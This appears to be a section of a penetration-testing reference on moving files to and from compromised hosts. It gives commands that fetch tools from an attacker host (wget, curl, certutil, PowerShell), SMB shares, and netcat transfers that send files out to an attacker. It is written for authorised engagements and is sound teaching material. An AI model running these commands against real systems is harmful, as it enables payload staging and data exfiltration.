File transfers

File transfers support every phase of an operation. Moving tools to a compromised host, extracting data for evidence, and staging payloads all require reliable file transfer methods that work within the constraints of the target environment.

Execution examples

HTTP-based transfers

HTTP is the most common transfer method because it is rarely blocked at the network level.

Hosting files on the attacker's machine:

python3 -m http.server 80

Downloading on Linux targets:

wget http://attacker/file
curl -O http://attacker/file

Downloading on Windows targets:

certutil -urlcache -f http://attacker/file file.exe
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://attacker/file','file.exe')"

SMB-based transfers

SMB transfers are useful in Windows environments where SMB is already in use:

# Host a share from Linux
impacket-smbserver share /path/to/files -smb2support

# Access from Windows
copy \\attacker\share\file.exe .

Netcat transfers

When other protocols are restricted, netcat provides raw TCP file transfer:

# Receiver
nc -nlvp PORT > file

# Sender
nc attacker PORT < file

SCP and SFTP

For Linux-to-Linux transfers when SSH access exists:

scp file user@target:/path/
scp user@target:/path/file .

Common mistakes

• Relying on a single transfer method and having no alternative when it is blocked

• Leaving transferred tools on the target after the engagement

• Not verifying file integrity after transfer

Operator notes

• Consider the detection profile of each method

• Clean up transferred files at the end of the engagement

• When transferring tools, consider whether the tool itself will trigger endpoint detection